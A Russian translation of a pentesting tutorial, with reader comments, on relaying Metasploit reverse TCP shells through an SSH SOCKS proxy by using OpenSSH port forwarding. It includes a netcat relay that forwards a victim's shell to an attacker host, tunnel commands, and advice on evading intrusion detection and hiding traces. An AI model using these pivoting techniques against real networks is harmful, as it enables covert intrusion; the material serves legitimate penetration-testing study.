Использование ssh socks прокси совместно с MSF Reverse TCP Payloads

Данный вольный перевод был мотивирован необходимостью в собственном понимании сабжа после прочтения ряда постов, начало которым было положено здесь, спасибо хабраюзеру levinkv

Использование ssh socks прокси совместно с MSF Reverse TCP Payloads

Иногда пентестерам необходимо перенаправлять свой сетевой трафик через различные прокси для получения доступа к частным сетям, для обхода межсетевых экранов, или же для сокрытия своих следов. Для решения таких задач специалисты имеют целый арсенал возможностей разнородного туннелирования и переадресации трафика, чтобы работать в различных сетевых архитектурах при тестировании. Каждый случай подобной работы определенно зависит от служб, запущенных на прокси-сервере и уровню доступа к этим службам.

Один из моих любимых случаев (как и многие другие) это работа с OpenSSH Socks прокси. Удаленный ssh прокси дает возможность различными способами переадресовывать трафик через ssh туннель. Тем не менее существует главный недостаток в случае с socks прокси — вы «не можете» использовать сушествующие reverse tcp payloads, которые поставляются с Metasploit framework (и многими другими подобными инструментами). Однако, это не совсем так. Есть возможность для включения некоторых функций OpenSSH в целях обхода ограничений при использовании ssh перенаправления.


Многие скажут, что существует масса альтернатив для tcp reverse payloads, такие как PHP, Java, HTTP, DNS, и т.д. Это верно, но большинство из них зависят от специфического приложения и не являются стабильными при определенных обстоятельствах. Кроме того, эти альтернативы не всегда применимы из-за некоторых ограничений эксплуатации.

Другие сообщат, что функции Metasploit meterpreter (framework routes + port forward) могут использоваться для перенаправления трафика через обычные прокси, избегая использования соксов. Недостатком этого способа является недостаточная устойчивость meterpreter payload для линукс прокси (по крайней мере на момент написания поста).

Теперь, когда вы убедились, что при некоторых обстоятельствах использование socks прокси является единственным стабильным вариантом, давайте посмотрим, что мы можем изменить в ограничениях обратного TCP соединения.

Когда используется reverse tcp payload, компьютер жертвы пытается подключиться с ip-адресом атакующего. Если используется SSH Socks прокси, то компьютер жертвы использует в качестве ip-адреса атакующего ip-адрес прокси. Следовательно, reverse TCP payload будет пытаться подключиться к прокси, а не к атакующему. Metasploit framework прекрасно позволяет решить такую проблему, когда socks прокси используется с reverse TCP payload.

Основная идея для обхода ограничений подобного рода заключается в использовании механизма переадресации в прокси для доставки пакетов на правильный адрес при обратном подключении с прокси. Представленный метод возможен когда выполняются следующие условия:

1. Возможность ssh подключения к прокси (обычный пользователь или администратор, каждый случай разбирается отдельно)
2. Прокси имеет по крайней мере один неиспользуемый открытый порт
3. Прокси имеет возможность к подключению с компютером жертвы.

Для остальной части этой статьи будет использоваться следующая топология сети:



Сначала установим соединение ssh socks прокси и проверим его через proxychains:



SSH socks прокси работает и мы можем его использовать для доступа к компьютеру жертвы:



Сейчас, если мы попытаемся использовать наш Socks прокси вместе с TCP payload, Metasploit может показать такую ошибку:



Особенности переадресации портов в OpenSSH помогут нам обойти это препятствие. Два варианта действий будут освещены в зависимости от уровня доступа атакующего к сервисам прокси:

1. Административный доступ: Изменения конфигурации OpenSSH и использование всех особенностей переадресации
2. Пользовательский доступ: Использование локальной перадресации портов OpenSSH для организации второго ssh туннеля

Для тех, кто не знаком с локальной и удаленной переадресацией SSH портов рекомендуются к прочтению ссылки в конце поста.

Перед тем, как продолжить, давайте отключим проверку reverse TCP socks прокси в metasploit для тестирования всех перечисленных случаев. К счастью для нас, модульная архитектура metasploit позволяет легко реализовать данную возможность. Надо всего лишь закомментировать строчки 68-70 в «lib/msf/core/handler/reverse_tcp.rb»



1. Административный доступ к Прокси

Удаленная переадресация портов в OpenSSH использует перенаправление сетевого траффика с порта 4444 на прокси к порту 53 атакующего. Как упоминает руководство OpenSSH, подключение при удаленной переадресации свяжет порт прокси (4444 в нашем случае) с таким же портом на локальном хосте. Привязка на локалхосте будет блокировать входящие соединения от жертвы. Так что мы должны обладать правами администратора для изменения конфигурации sshd и включения опции GatewayPorts.

Когда payload сработает, тогда сеть приобретет такой вид:



Для продолжения давайте проверим что все работает с помощью netcat:



Если вместо IP-адреса атакующего вы используете локальный адрес, то такой туннель будет работать как часы (и в этом нет ничего удивительного), хотя менеджер сессии Metasploit будет не в состоянии идентифицировать связи и прервет работу. Некоторые (факультативные) исследования с помощью tcpdump могут прояснить как работают такие перенаправления.

Убедившись, что наш прокси работает правильно, давайте перейдем к Metasploit. Сгенерируем linux x86 reverse TCP stagged shell payload и зальем на компьютер жертвы. Для запуска payload используем PHP скрипт, расположив его в директории с Web-страницами для сервера Apache. В процессе генерации payload использовались следующие данные: LHOST был определен как адрес прокси, как и LPORT (4444 в этом примере), на который идет переадресация к атакующему через прокси.



В конце давайте запустим payload с помощью дополнительного модуля (single GET request) и установим соединение через socks прокси:





2. Пользовательский доступ к Прокси

Пользовательский доступ к прокси означает, что мы не можем выставить опцию GatewayPorts в настройках sshd. Так что мы должны найти другой путь для осуществления переадресации. В этом случае мы используем опцию для локальной переадресации (-L) и сотворим второй туннель на локалхост со стороны прокси. Флаг -g используется для привязки сокета на 0.0.0.0 разрешая входящие соединения кроме локалхост.

Следовательно, обратное соединение приобретет такой вид:



Обычная проверка netcatом перед использованием Metasploit:



И наконец, socks прокси также успешно работает с reverse TCP payloads:





Миссия завершена! Нам удалось использовать reverse TCP payloads c ssh Socks прокси и воспользоваться различными функциями OpenSSH. Конечно, кто-то может осуществлять переадресацию портов на прокси различными другими способами (Iptables, инструменты сторонних производителей, и т.д.). OpenSSH был выбран потому, что в нем уже доступна работа с ssh Socks прокси и часто такая работа незаметна для системного администратора, в то время, как другие инструменты могут сигнализировать о своей работе (и конечно, работа с iptables не возможна при пользовательском уровне доступа).
Было бы идеально, если б описанные выше способы были бы как-нибудь реализованы в Metasploit Framework, делая возможным использование reverse TCP payloads в различных сценариях socks прокси.

Ссылки:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0%BE%D1%82%D0%B5%D0%BB%D0%B8_%D0%B7%D0%BD%D0%B0%D1%82%D1%8C_%D0%BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting

A. Bechtsoudis

—{ Update 11 June 2012 }—
Переадресацию портов с прокси к атакующему так же легко можно организовать с помощью netcat. Будьте осторожны при использовании netcat, так как его работа может вызывать тревогу в некоторых системах обнаружения вторжений. Для установления скрытого соединения пытайтесь создавать зашифрованные каналы с прокси (ncat, netcat stunnel и т.д.).

root@proxy:~# mkfifo pipe
root@proxy:~# nc -nvlp 4444 0<pipe | nc attacker 53 1>pipe

Оригинал по ссылке.
  • +6
  • 12,2k
  • 5
Поделиться публикацией
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 5

    +1
    Нужно быть очень не хилым спецом, чтоб понять что в приведённых скринах консолек происходит. Потому раскрыли бы это поподробнее.

    Я только насчёт первой картинки скажу:

    ssh root@192.168.0.2 -D 8181 — это мы открыли на локальном хосте порт 8181, который будет в качестве прокси использовать комп с адресом 192.168.0.2. Сам прокси доступен атакующему по адресу 127.0.0.1:8181, доступ к этому порту из-вне закрыт
    netstat -ntlp | grep 8181 | tr -s " " — это мы проверили, что после предыдущей команды (
    ssh root@192.168.0.2 -D 8181) у нас на локалхосте действительно заработал и открылся порт 127.0.0.1:8181 и открыт он процессом ssh
    cat /etc/proxychains.conf | grep 8181 — выводим часть конфига proxychains, в которой видно, что он будет в качестве прокси использовать 127.0.0.1:8181
    sudo /bin/proxychains nc 127.0.0.1:4444 — запускаем коннект к 127.0.0.1:4444 через proxychains (который, как видно по приведённому выше конфигу, использует прокси 127.0.0.1:8181, который, как написано ещё чуть выше, был открыть через ssh для туннелирования трафика)

    Вот такая вот история, на подобии: «игла в яйце, яйцо в утке… » и т.д.
      +1
      И ещё немного подробностей для тех, кто не осилил много букаф и скриншотов:

      для атаки Metasploit будет использовать как прокси 127.0.0.1:8181 (который для жертвы будет выглядеть как 192.168.0.2). Собственно, для этого мы и поднимаем прокси через адрес 192.168.0.2 (ssh root@192.168.0.2 -D 8181)

      Но реверс коннект также должен придти атакующему от жертвы транзитом через 192.168.0.2 (чтоб жертва всё время знала только о некоем 192.168.0.2 и не знала реальный адрес атакующего). Поэтому на 192.168.0.2 необходимо открыть доступный из-вне порт 4444 (192.168.0.2:4444). Коннекты на этот порт будут пробрасываться атакующему на открытый у атакующего порт 53.
      Для этого в консоли сервера, который будет использоваться как прокси выполняем: ssh -L 4444: Атакующий:53 root@127.0.0.1 -g
        0
        А вообще — спасибо что перевели. Я кое-что для себя новое открыл. Жаль, что многие не смогли оценить полезности статьи. Но я свой плюс уже отдал
          0
          Спасибо!
          0
          В своё время искал подобный материал на русском и видимо Вы создали его первый, за что Вам огромное человеческое спасибо, теперь остальным будет по проще. Можно кстати ещё абзац про Armitage добавить, там тоже самое.

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое